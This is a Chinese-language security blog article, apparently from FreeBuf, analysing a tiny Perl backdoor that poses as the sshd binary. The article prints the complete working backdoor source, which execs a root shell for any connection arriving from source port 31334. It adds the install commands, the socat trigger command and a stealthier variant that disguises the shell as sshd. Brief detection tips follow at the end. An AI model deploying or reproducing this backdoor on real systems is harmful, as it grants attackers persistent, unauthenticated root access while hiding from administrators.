一款短小精緻的SSH後門分析
0x00. 引言
在《利用系統特性偽裝成一個免密登陸後門》一文中,我介紹過利用系統特性偽裝成一個ssh系統後門,不過,這個後門需要新開一個埠,而本文介紹的這個後門只需要系統上開放了ssh服務就行了,不需要額外的開放埠,詳情見正文。
0x01. 正文
1. 後門簡介
這個ssh 後門偽裝成一個perl腳本,名為sshd,位於/usr/sbin/sshd , 將系統原先的sshd 移到/usr/bin下
sshd後門源碼:
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
這段代碼的意思:
第一行, 如果當前文件句柄STDIN是一個socket,且socket的遠程連接源埠是31334(Big 網路位元組序中的16進位字元串為x00x00zf, 正好匹配上perl正則 ..zf,上述代碼中的zf是Big 網路位元組序的Ascii表示形式),則執行/bin/sh,並結束當前程序運行(不會執行第二步),相當於反彈一個root shell (因為sshd 是以root許可權運行的)給遠程socket (一般只有攻擊者指定連接的源埠才能觸發這一行的執行)
第二行 啟動sshd (/usr/bin/sshd是真正的sshd)服務 ,凡是傳遞給/usr/sbin/sshd (後門)的參數都傳遞給真正的sshd (這一行保證了普通用戶也可以正常使用ssh 服務,登錄並不會有什麼異常現象)
補充:
在網路通信當中,大多傳遞的數據是以二進位流(binary data)存在的。當傳遞字元串時,不必擔心太多的問題,而當傳遞諸如int、char之類的基本數據的時候,就需要有一種機制將某些特定的結構體類型打包成二進位流的字元串然後再網路傳輸,而接收端也應該可以通過某種機制進行解包還原出原始的結構體數據。python中的struct模塊就提供了這樣的機制:
2. 如何使用後門
這裡做個實例演示
被控端(Victim) 10.1.100.3 Kali
控制端 10.1.100.2 centos7
1)
在被控端執行以下操作
將真正的sshd 移至/usr/bin/sshd,
mv /usr/sbin/sshd /usr/bin/sshd
將後門sshd (perl腳本移動至/usr/sbin/sshd),並授予執行許可權
chmod +x /usr/sbin/sshd
重啟 ssh 服務
2)
在控制端執行以下操作
:socat STDIO TCP4:10.1.100.3:22,sourceport=31334
這行命令的意思是說,將輸入輸出重定向至於socket 10.1.100.3:22 (這樣後門perl腳本中STDIN就是socket了), 且這個socket的源埠為31334
這行命令等價於
socat -TCP4:10.1.100.3:22,sourceport=31334
這樣就可以無需認證 (因為還未到sshd認證階段就反彈root shell 了)成功獲取控制端系統 shell
我們看一下被控端
22 埠是sh 和 控制端連接,程序名是ssh ,而不是正常的sshd
為了增強隱秘性, 我們可以將copy 一份/bin/sh, 重命名為/bin/sshd
,修改後門源碼為:
#!/usr/bin/perl
exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
控制端再次連接:
現在已經變成了sshd ,偽裝性更強!
3. 為什麼這個後門不需要認證
這和OpenSSH 服務特性有關,OpenSSH 和其他的網路服務一樣,都會fork一個子進程處理用戶連接, 但是有一點和其他網路服務不一樣,新fork的子進程不會直接處理用戶連接,而是重新在子進程中重新運行自身,也就是/usr/sbin/sshd (就是OpenSSH自身二進位文件) ,所以用戶的連接是被重新運行的/usr/sbin/sshd 實例給處理了。重新運行/usr/sbin/sshd 就會執行後門的第一行代碼。從而反彈shell且無需認證。 對於新fork的子進程來說,文件句柄STDIN/STDOUT 就和當前的socket關聯在一起了。 (要想了解更深入的原理,需要去查看OpenSSH的源碼了)
sshd.c 部分截圖
默認重新執行自身的標識是為1
4. OpenSSH 為什麼在子進程中重新運行自身?
從OpenSSH 3.9 以後的版本都有這樣的特性,目的有2:
1)這樣每次重新運行自身自後,每一個新連接的執行時間都是不一樣的
2)為了
ASLR 更加有效,每個連接的內存布局都是不一樣的
0x02. 總結
其實這款後門也比較好發現,首先正常的sshd 文件是ELF格式,而後門是純文本腳本,使用file 命令就可以發現
另外也可以定期檢測系統關鍵文件的hash是否發生變化,位置是否發生變化,這樣就能發現是否有異常
* 本文作者:knpewg85942,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


※維基解密每周一更:CIA三款工具齊上陣,Mac和Linux用戶頻躺槍
※【BlackHat 2017】勒索軟體未來的終極剋星?研究人員發明ShieldFS文件系統
※安全「兩會」Black Hat與DEF CON大會20年變遷:不只是規模在擴大
※逆向分析智能窗帘頻射協議
※反擊「貓眼電影」網站的反爬蟲策略
TAG:FreeBuf |
※2019SSHZFW | 一票難求,這是怎樣的一個時尚周?
※新到店 | SSHEENA:這是每一個Cool girl都不該錯過的品牌
※開啟iOS設備的SSH服務
※閱讀SSH項目之ERP
※SSH命令使用小節
※華碩ROG CROSSHAIR VII HERO評測:旗艦X470的標杆
※一記組合拳,批量SSH弱密碼爆破檢測工具分享
※為ZEN+新銳龍而生,信仰級X470主板駕到!華碩ROG CROSSHAIRⅦHERO首發開箱
※Python庫現後門 可竊取用戶SSH信息
※這個漏洞影響過去二十年發布的所有 OpenSSH 版本!
※使用 SSH和SFTP 協議
※華碩ROG CROSSHAIR VII HERO(WI-FI)評測:旗艦X470的標杆
※Linux 中的 5個SSH 別名例子
※重新認識銳龍9 3900X的實力!華碩ROG CROSSHAIR VIII FORMULA主板評測
※分析惡意軟體GoScanSSH如何通過掃描SSH伺服器暴力破解憑證進行傳播的
※3 個 Linux 上的 SSH 圖形界面工具
※安全的 SSH 設置
※JuiceSSH&Termius:免費好用的SSH客戶端
※SSH為什麼要用到DH?
※Win10下自帶的SSH工具